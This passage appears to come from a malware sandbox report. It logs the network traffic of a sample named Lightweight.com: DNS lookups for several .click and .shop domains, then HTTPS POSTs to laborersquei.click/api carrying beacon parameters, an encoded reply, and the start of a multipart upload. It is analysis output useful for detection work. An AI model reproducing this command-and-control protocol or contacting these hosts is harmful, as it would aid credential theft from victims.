Dec 28, 2024 04:24:25.410042048 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.410079956 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.411844015 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.411859035 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.411921978 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.411931038 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.411966085 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.420519114 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.832676888 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.832689047 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.832720995 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.832743883 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.832762003 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.832839966 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.833626986 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.833646059 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.833687067 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.833694935 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.833710909 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.833729982 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.834585905 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.834600925 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.834640026 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.834646940 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.834672928 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.834692001 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.835391998 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.835406065 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.835460901 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.835467100 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.835501909 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.836438894 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.836455107 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.836503029 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.836508989 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.836532116 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.836549044 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.837397099 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.837412119 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.837455988 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.837460995 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.837485075 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.837500095 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.838289022 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.838305950 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.838345051 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.838350058 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.838368893 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.838382959 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.839211941 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.839231968 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.839278936 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.839284897 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.839308023 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.839318991 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.839900017 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.839914083 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.839948893 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.839953899 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.839982033 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.840001106 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.840006113 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.840048075 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.843285084 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.924360991 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.924396992 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.924410105 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.924417019 CET	443	49752	104.21.37.128	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 04:23:03.655859947 CET	58380	53	192.168.2.4	1.1.1.1
Dec 28, 2024 04:23:03.881633997 CET	53	58380	1.1.1.1	192.168.2.4
Dec 28, 2024 04:23:35.523507118 CET	60663	53	192.168.2.4	1.1.1.1
Dec 28, 2024 04:23:35.827069998 CET	53	60663	1.1.1.1	192.168.2.4
Dec 28, 2024 04:23:54.546032906 CET	57230	53	192.168.2.4	1.1.1.1
Dec 28, 2024 04:23:55.017431974 CET	53	57230	1.1.1.1	192.168.2.4
Dec 28, 2024 04:23:56.969305992 CET	58306	53	192.168.2.4	1.1.1.1
Dec 28, 2024 04:23:57.286031961 CET	53	58306	1.1.1.1	192.168.2.4
Dec 28, 2024 04:23:58.324918032 CET	54818	53	192.168.2.4	1.1.1.1
Dec 28, 2024 04:23:58.631206036 CET	53	54818	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 28, 2024 04:23:03.655859947 CET	192.168.2.4	1.1.1.1	0x428c	Standard query (0)	MKEsavqGIoOOFKIkcwQOiuYAysc.MKEsavqGIoOOFKIkcwQOiuYAysc	A (IP address)	IN (0x0001)	false
Dec 28, 2024 04:23:35.523507118 CET	192.168.2.4	1.1.1.1	0x20cc	Standard query (0)	laborersquei.click	A (IP address)	IN (0x0001)	false
Dec 28, 2024 04:23:54.546032906 CET	192.168.2.4	1.1.1.1	0xaf56	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false
Dec 28, 2024 04:23:56.969305992 CET	192.168.2.4	1.1.1.1	0xd835	Standard query (0)	klipvumisui.shop	A (IP address)	IN (0x0001)	false
Dec 28, 2024 04:23:58.324918032 CET	192.168.2.4	1.1.1.1	0xe908	Standard query (0)	dfgh.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 28, 2024 04:23:03.881633997 CET	1.1.1.1	192.168.2.4	0x428c	Name error (3)	MKEsavqGIoOOFKIkcwQOiuYAysc.MKEsavqGIoOOFKIkcwQOiuYAysc	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 04:23:35.827069998 CET	1.1.1.1	192.168.2.4	0x20cc	No error (0)	laborersquei.click		172.67.166.49	A (IP address)	IN (0x0001)	false
Dec 28, 2024 04:23:35.827069998 CET	1.1.1.1	192.168.2.4	0x20cc	No error (0)	laborersquei.click		104.21.89.250	A (IP address)	IN (0x0001)	false
Dec 28, 2024 04:23:55.017431974 CET	1.1.1.1	192.168.2.4	0xaf56	No error (0)	cegu.shop		185.161.251.21	A (IP address)	IN (0x0001)	false
Dec 28, 2024 04:23:57.286031961 CET	1.1.1.1	192.168.2.4	0xd835	No error (0)	klipvumisui.shop		104.21.37.128	A (IP address)	IN (0x0001)	false
Dec 28, 2024 04:23:57.286031961 CET	1.1.1.1	192.168.2.4	0xd835	No error (0)	klipvumisui.shop		172.67.208.58	A (IP address)	IN (0x0001)	false
Dec 28, 2024 04:23:58.631206036 CET	1.1.1.1	192.168.2.4	0xe908	Name error (3)	dfgh.online	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

laborersquei.click

cegu.shop

klipvumisui.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49741	172.67.166.49	443	7724	C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Timestamp	Bytes transferred	Direction	Data
2024-12-28 03:23:37 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: laborersquei.click
2024-12-28 03:23:37 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-28 03:23:37 UTC	1133	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 03:23:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=epv067trlm5n3m8p4pu24ki9ne; expires=Tue, 22 Apr 2025 21:10:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CIFxLtsFtSavqFFeNHSnQpYdOfkFHkhdh91cNwZl%2FElqHcQJYNX%2BAaAoTdbhf7uC9UBuKtsMEn%2FU%2FatdC3%2BgpRwKIyXqTQ6293HkE%2FGXixng3DEN3MNprmAvc3cVBhWnDUIjKUE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8e6ec6de2f435e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1711&min_rtt=1622&rtt_var=672&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1800246&cwnd=240&unsent_bytes=0&cid=d323b39f26d3720b&ts=768&x=0"
2024-12-28 03:23:37 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-28 03:23:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49742	172.67.166.49	443	7724	C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Timestamp	Bytes transferred	Direction	Data
2024-12-28 03:23:39 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: laborersquei.click
2024-12-28 03:23:39 UTC	80	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 Data Ascii: act=recive_message&ver=4.0&lid=jMw1IE--psyche&j=aa77e78b6b0dd1b2226e7b799532ab3a
2024-12-28 03:23:39 UTC	1133	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 03:23:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lue3v5clsm6eeheaf8bm2fcgr1; expires=Tue, 22 Apr 2025 21:10:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nRErjUqfG9QpGU7TXNyvWWdIXhqI4Lr0n4dL0%2FlPGM2VIYov9q4Xr%2BdBT8cQfj%2B%2BuUABdyt6YPubE%2Fvbbs7VV51DIFhKtcBgeqmKfocgpMmNGtaijeTbbRpOhOILdd9iKcGdq%2B4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8e6ed368d50fa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1490&min_rtt=1484&rtt_var=568&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=982&delivery_rate=1904761&cwnd=222&unsent_bytes=0&cid=8039b9b3586f6f02&ts=781&x=0"
2024-12-28 03:23:39 UTC	236	IN	Data Raw: 63 34 37 0d 0a 39 59 7a 6e 4a 39 52 4a 70 53 2b 54 47 37 34 4a 68 49 6a 69 4f 69 65 64 48 6f 4c 4d 43 36 6b 34 54 6f 72 6a 6d 70 44 50 6b 52 53 4f 72 70 45 46 37 6e 32 4a 44 65 42 2b 6e 44 50 69 36 59 35 4a 51 72 45 38 34 36 67 70 6b 31 34 76 35 70 44 2f 76 4f 33 6e 65 64 65 32 67 55 61 34 4f 73 41 44 73 58 37 47 4b 37 37 54 6d 52 68 43 38 7a 79 34 37 6d 37 44 57 69 2f 6d 67 66 76 37 6f 4f 46 34 6c 75 53 4c 51 4c 77 73 78 6b 76 79 64 39 4e 73 34 65 32 44 55 45 6e 30 63 2b 71 68 4b 59 55 61 4b 2f 44 42 6f 4c 4b 43 39 47 43 55 77 59 5a 55 76 32 76 59 41 2b 67 35 32 32 65 6d 73 73 42 62 51 76 39 79 35 4b 68 67 77 56 41 6d 37 6f 44 2b 2b 72 2f 34 63 70 33 6b 68 55 4f 39 4a 73 39 66 2f 33 33 55 5a 2b 66 Data Ascii: c479YznJ9RJpS+TG74JhIjiOiedHoLMC6k4TorjmpDPkRSOrpEF7n2JDeB+nDPi6Y5JQrE846gpk14v5pD/vO3nede2gUa4OsADsX7GK77TmRhC8zy47m7DWi/mgfv7oOF4luSLQLwsxkvyd9Ns4e2DUEn0c+qhKYUaK/DBoLKC9GCUwYZUv2vYA+g522emssBbQv9y5KhgwVAm7oD++r/4cp3khUO9Js9f/33UZ+f
2024-12-28 03:23:39 UTC	1369	IN	Data Raw: 6e 67 78 67 4c 76 33 76 34 37 6a 47 4c 43 52 37 72 6b 4f 6e 6e 6f 4f 4e 77 31 2f 48 4c 58 50 59 73 79 77 32 70 4f 64 52 6e 36 4f 2b 44 56 30 4c 2b 66 50 4b 68 61 63 68 53 4a 4f 79 4c 39 2f 32 69 2f 58 79 51 35 6f 78 43 75 53 7a 50 53 2f 35 36 6e 43 57 6d 37 5a 67 59 48 62 39 63 38 4b 31 71 33 31 63 39 71 4a 36 32 36 2b 33 30 65 74 65 32 78 55 4f 34 4b 73 70 4e 34 33 48 58 59 4f 50 34 69 31 46 49 38 6e 7a 74 70 47 62 49 57 69 76 69 69 2f 66 34 71 66 35 37 6b 65 36 46 42 66 68 72 77 46 57 78 49 5a 78 49 34 2f 71 48 56 46 4f 39 52 71 43 78 4a 39 49 61 4b 2b 54 42 6f 4c 4b 6c 39 6e 57 55 35 59 70 47 76 69 44 56 54 65 4e 2f 30 57 37 30 37 49 56 57 54 2f 78 75 36 71 42 76 79 46 4d 6e 34 59 54 2f 39 75 32 39 4e 70 44 32 78 52 33 32 43 73 70 47 2f 58 50 4c 61 36 Data Ascii: ngxgLv3v47jGLCR7rkOnnoONw1/HLXPYsyw2pOdRn6O+DV0L+fPKhachSJOyL9/2i/XyQ5oxCuSzPS/56nCWm7ZgYHb9c8K1q31c9qJ626+30ete2xUO4KspN43HXYOP4i1FI8nztpGbIWivii/f4qf57ke6FBfhrwFWxIZxI4/qHVFO9RqCxJ9IaK+TBoLKl9nWU5YpGviDVTeN/0W707IVWT/xu6qBvyFMn4YT/9u29NpD2xR32CspG/XPLa6
2024-12-28 03:23:39 UTC	1369	IN	Data Raw: 52 66 4e 75 37 4b 52 76 78 46 63 67 71 4d 2b 34 39 62 57 7a 4c 74 66 45 68 6c 47 31 49 59 56 34 38 6e 66 53 62 50 43 71 6e 78 5a 63 76 33 76 73 37 6a 47 4c 56 79 33 67 68 2b 72 39 6f 50 42 34 6d 65 47 41 53 72 34 72 78 30 44 30 66 64 64 67 35 65 65 45 53 6b 2f 2f 64 4f 57 76 59 38 45 61 59 71 69 47 34 4c 4c 31 73 30 65 41 35 63 64 77 74 53 58 4a 53 75 63 35 77 79 58 2f 71 6f 64 55 42 61 63 38 37 61 5a 73 7a 6c 55 74 34 6f 2f 39 2b 4b 48 37 65 4a 54 38 69 6b 47 32 4a 38 39 48 2f 48 66 59 59 2b 2f 68 69 31 35 46 2f 6e 61 67 34 43 6e 4d 51 6d 79 77 77 63 7a 31 6f 66 35 35 31 64 75 47 53 37 67 73 30 51 33 75 4e 38 55 72 34 65 62 41 41 41 58 7a 64 65 43 6c 59 38 39 61 4b 2b 57 45 2b 2f 57 75 2f 6e 47 64 34 49 4a 42 75 69 4c 4b 53 2f 46 2b 32 47 37 30 37 34 6c Data Ascii: RfNu7KRvxFcgqM+49bWzLtfEhlG1IYV48nfSbPCqnxZcv3vs7jGLVy3gh+r9oPB4meGASr4rx0D0fddg5eeESk//dOWvY8EaYqiG4LL1s0eA5cdwtSXJSuc5wyX/qodUBac87aZszlUt4o/9+KH7eJT8ikG2J89H/HfYY+/hi15F/nag4CnMQmywwcz1of551duGS7gs0Q3uN8Ur4ebAAAXzdeClY89aK+WE+/Wu/nGd4IJBuiLKS/F+2G7074l
2024-12-28 03:23:39 UTC	176	IN	Data Raw: 65 36 34 4b 64 51 55 4e 61 69 47 39 4c 4c 31 73 33 2b 65 2f 49 74 4c 76 79 62 42 52 66 5a 33 30 57 44 67 34 59 64 66 51 2f 4a 30 37 61 74 71 79 6c 34 6d 2b 6f 4c 7a 2b 4b 44 35 4e 74 6d 75 67 6c 33 32 63 34 64 71 2f 56 44 4d 63 50 54 38 77 45 63 4c 35 6a 7a 6e 6f 69 6d 54 47 69 2f 6e 69 50 66 36 70 66 78 35 6b 2b 43 44 51 37 73 75 79 45 66 6a 63 64 4a 6d 37 65 57 4c 53 6b 58 79 65 4f 79 71 59 63 42 51 62 4b 62 42 2f 2b 72 74 71 7a 61 69 34 34 70 46 74 54 32 48 55 72 39 67 6e 47 7a 71 71 74 67 59 53 66 46 38 37 36 4a 0d 0a Data Ascii: e64KdQUNaiG9LL1s3+e/ItLvybBRfZ30WDg4YdfQ/J07atqyl4m+oLz+KD5Ntmugl32c4dq/VDMcPT8wEcL5jznoimTGi/niPf6pfx5k+CDQ7suyEfjcdJm7eWLSkXyeOyqYcBQbKbB/+rtqzai44pFtT2HUr9gnGzqqtgYSfF876J
2024-12-28 03:23:39 UTC	1369	IN	Data Raw: 34 32 35 39 0d 0a 6c 77 46 49 74 35 49 2f 2f 39 36 54 37 66 6f 58 76 67 55 32 33 4a 63 68 4d 39 58 7a 5a 62 2b 48 75 68 6c 63 46 73 54 7a 6e 74 69 6d 54 47 67 50 50 74 4c 72 54 6c 37 4e 70 32 66 66 46 51 72 70 72 6e 77 33 39 65 74 42 6a 36 65 79 4a 56 45 2f 32 64 2b 79 6c 62 63 64 54 4b 65 36 41 2f 66 65 73 39 33 71 64 36 49 5a 47 75 53 54 49 52 62 45 33 6e 47 7a 2b 71 74 67 59 59 4f 68 33 37 71 67 70 31 42 51 31 71 49 62 30 73 76 57 7a 65 70 37 6f 67 30 43 36 4b 73 46 46 39 48 48 59 61 75 44 73 67 31 64 42 2b 6e 33 76 71 6d 58 46 55 43 33 70 6a 66 50 39 70 76 59 32 32 61 36 43 58 66 5a 7a 68 33 7a 79 62 38 74 37 36 71 71 66 46 6c 79 2f 65 2b 7a 75 4d 59 74 62 50 75 4b 4c 39 76 65 69 39 6e 57 59 36 59 68 44 75 69 48 4f 52 66 64 32 31 58 6e 6c 35 6f 35 66 Data Ascii: 4259lwFIt5I//96T7foXvgU23JchM9XzZb+HuhlcFsTzntimTGgPPtLrTl7Np2ffFQrprnw39etBj6eyJVE/2d+ylbcdTKe6A/fes93qd6IZGuSTIRbE3nGz+qtgYYOh37qgp1BQ1qIb0svWzep7og0C6KsFF9HHYauDsg1dB+n3vqmXFUC3pjfP9pvY22a6CXfZzh3zyb8t76qqfFly/e+zuMYtbPuKL9vei9nWY6YhDuiHORfd21Xnl5o5f
2024-12-28 03:23:39 UTC	1369	IN	Data Raw: 43 38 5a 73 78 64 4a 65 4f 54 38 76 57 71 2b 48 36 63 34 59 4e 58 75 69 58 56 53 4f 4e 72 6e 43 57 6d 37 5a 67 59 48 62 39 4b 35 37 35 35 79 42 67 64 2f 6f 4c 75 2b 61 44 2f 4e 6f 69 67 6e 41 57 78 4a 34 63 56 73 58 2f 54 59 75 58 6c 67 56 46 4a 38 6e 6e 70 71 32 6a 4e 58 69 62 69 67 66 37 30 72 50 5a 38 6c 4f 2b 50 54 4c 45 6a 77 45 37 6a 4f 5a 49 72 34 66 4c 41 41 41 58 57 65 2f 4b 67 65 59 74 46 59 76 48 42 2f 2f 37 74 71 7a 61 54 35 49 70 42 73 53 66 42 53 50 64 30 33 57 54 6e 36 6f 39 63 54 76 5a 36 34 61 4e 73 78 6c 34 2b 34 6f 72 33 2f 71 54 2f 65 39 65 67 78 55 4b 75 61 35 38 4e 77 48 54 53 5a 65 48 38 77 45 63 4c 35 6a 7a 6e 6f 69 6d 54 47 69 33 6b 6a 76 76 39 72 76 42 33 6e 66 79 58 53 62 38 6a 77 6b 48 36 64 39 70 35 34 4f 57 4a 57 30 62 32 65 Data Ascii: C8ZsxdJeOT8vWq+H6c4YNXuiXVSONrnCWm7ZgYHb9K5755yBgd/oLu+aD/NoignAWxJ4cVsX/TYuXlgVFJ8nnpq2jNXibigf70rPZ8lO+PTLEjwE7jOZIr4fLAAAXWe/KgeYtFYvHB//7tqzaT5IpBsSfBSPd03WTn6o9cTvZ64aNsxl4+4or3/qT/e9egxUKua58NwHTSZeH8wEcL5jznoimTGi3kjvv9rvB3nfyXSb8jwkH6d9p54OWJW0b2e
2024-12-28 03:23:39 UTC	1369	IN	Data Raw: 4c 53 79 76 35 77 61 44 6b 76 65 52 78 69 4b 43 63 42 62 45 6e 68 78 57 78 66 39 56 74 34 65 79 4f 53 6b 44 35 63 2b 2b 6e 59 4d 39 53 4c 2b 69 46 2f 50 57 6f 38 48 71 63 36 59 5a 4b 73 69 4c 4a 52 50 34 35 6b 69 76 68 38 73 41 41 42 64 35 6e 34 36 4a 6b 69 30 56 69 38 63 48 2f 2f 75 32 72 4e 70 76 67 67 45 57 38 4c 63 4e 49 39 33 50 5a 61 2b 33 70 6a 31 78 44 2b 33 50 67 70 57 44 4b 58 43 6e 69 69 76 37 2f 72 76 56 77 31 36 44 46 51 71 35 72 6e 77 33 52 59 74 46 6e 34 61 71 66 46 6c 79 2f 65 2b 7a 75 4d 59 74 52 49 4f 79 47 2b 50 2b 75 2b 33 4f 54 35 49 42 46 76 6a 6e 50 54 66 5a 72 7a 6d 76 76 37 34 78 62 52 66 74 36 36 61 68 71 7a 78 70 69 71 49 62 67 73 76 57 7a 57 35 76 70 72 45 4b 74 61 39 67 44 36 44 6e 62 5a 36 61 79 77 46 6c 4f 39 58 50 74 72 57 Data Ascii: LSyv5waDkveRxiKCcBbEnhxWxf9Vt4eyOSkD5c++nYM9SL+iF/PWo8Hqc6YZKsiLJRP45kivh8sAABd5n46Jki0Vi8cH//u2rNpvggEW8LcNI93PZa+3pj1xD+3PgpWDKXCniiv7/rvVw16DFQq5rnw3RYtFn4aqfFly/e+zuMYtRIOyG+P+u+3OT5IBFvjnPTfZrzmvv74xbRft66ahqzxpiqIbgsvWzW5vprEKta9gD6DnbZ6aywFlO9XPtrW
2024-12-28 03:23:39 UTC	1369	IN	Data Raw: 2f 73 47 67 6f 4f 4f 7a 5a 4e 65 32 78 51 4b 31 4f 64 56 4c 38 6d 2f 66 4c 4e 6a 55 70 30 4a 49 2b 57 76 78 6b 46 66 4d 51 43 48 75 6c 75 6d 2b 75 50 42 34 6d 65 6d 54 42 66 68 72 79 41 32 70 51 4a 77 6a 70 74 58 4f 47 46 32 2f 4a 4b 43 62 61 73 56 55 4b 2f 36 51 74 64 57 33 2f 6e 43 41 2f 38 55 4c 39 69 32 48 46 61 45 33 6e 47 2f 33 71 74 67 49 46 36 51 70 73 2f 6b 35 6d 55 56 69 38 63 48 75 73 76 57 68 4f 4e 66 38 78 52 33 32 62 4d 52 66 34 33 2f 66 66 65 57 74 76 6d 5a 72 2b 48 72 6c 71 58 6d 4a 64 43 66 38 68 72 69 38 37 66 77 32 7a 39 66 46 44 66 59 55 69 51 33 70 4f 59 51 72 30 2b 6d 4f 56 6b 4c 70 62 61 32 41 62 73 31 66 4b 2f 6a 44 31 76 6d 35 39 44 62 5a 72 6f 4d 46 37 6e 75 4a 44 66 56 6f 6e 44 4f 32 75 4e 73 4e 46 71 67 73 73 72 45 6e 30 68 6f Data Ascii: /sGgoOOzZNe2xQK1OdVL8m/fLNjUp0JI+WvxkFfMQCHulum+uPB4memTBfhryA2pQJwjptXOGF2/JKCbasVUK/6QtdW3/nCA/8UL9i2HFaE3nG/3qtgIF6Qps/k5mUVi8cHusvWhONf8xR32bMRf43/ffeWtvmZr+HrlqXmJdCf8hri87fw2z9fFDfYUiQ3pOYQr0+mOVkLpba2Abs1fK/jD1vm59DbZroMF7nuJDfVonDO2uNsNFqgssrEn0ho
2024-12-28 03:23:39 UTC	1369	IN	Data Raw: 74 4f 54 7a 57 4f 55 34 49 74 43 6f 44 71 48 41 37 46 32 6e 44 50 66 71 73 67 59 65 72 45 38 2b 4f 34 78 69 32 38 76 35 6f 2f 2f 35 4c 79 2b 55 5a 6e 70 68 46 4f 6d 50 4d 67 43 33 30 2f 39 4b 36 69 71 68 68 67 64 72 54 4b 67 71 6e 69 4c 41 6e 79 36 32 71 32 68 2b 71 4d 6b 69 4b 43 63 42 61 42 72 6e 78 2b 2f 4f 63 34 72 76 71 72 48 57 31 66 74 65 75 4f 34 61 6f 78 6b 45 73 2b 50 2f 2f 4f 37 34 33 75 62 7a 34 5a 55 76 42 58 35 57 50 4a 33 30 6d 7a 77 2b 38 41 57 42 66 41 38 75 4a 63 70 67 78 6f 54 70 73 48 67 73 76 57 7a 51 35 54 67 69 30 4b 67 4f 6f 70 71 2f 33 37 64 66 66 62 6e 6a 48 6c 47 37 6e 61 67 34 43 6e 4e 47 6e 53 36 7a 37 6a 32 76 4c 4d 75 78 37 7a 65 45 4f 56 38 6c 78 2f 75 4e 38 55 72 38 4b 72 59 43 67 75 2f 62 71 44 32 4b 59 78 5a 50 76 71 48 Data Ascii: tOTzWOU4ItCoDqHA7F2nDPfqsgYerE8+O4xi28v5o//5Ly+UZnphFOmPMgC30/9K6iqhhgdrTKgqniLAny62q2h+qMkiKCcBaBrnx+/Oc4rvqrHW1fteuO4aoxkEs+P//O743ubz4ZUvBX5WPJ30mzw+8AWBfA8uJcpgxoTpsHgsvWzQ5Tgi0KgOopq/37dffbnjHlG7nag4CnNGnS6z7j2vLMux7zeEOV8lx/uN8Ur8KrYCgu/bqD2KYxZPvqH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	172.67.166.49	443	7724	C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Timestamp	Bytes transferred	Direction	Data
2024-12-28 03:23:41 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9PX283Q3GU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18116 Host: laborersquei.click
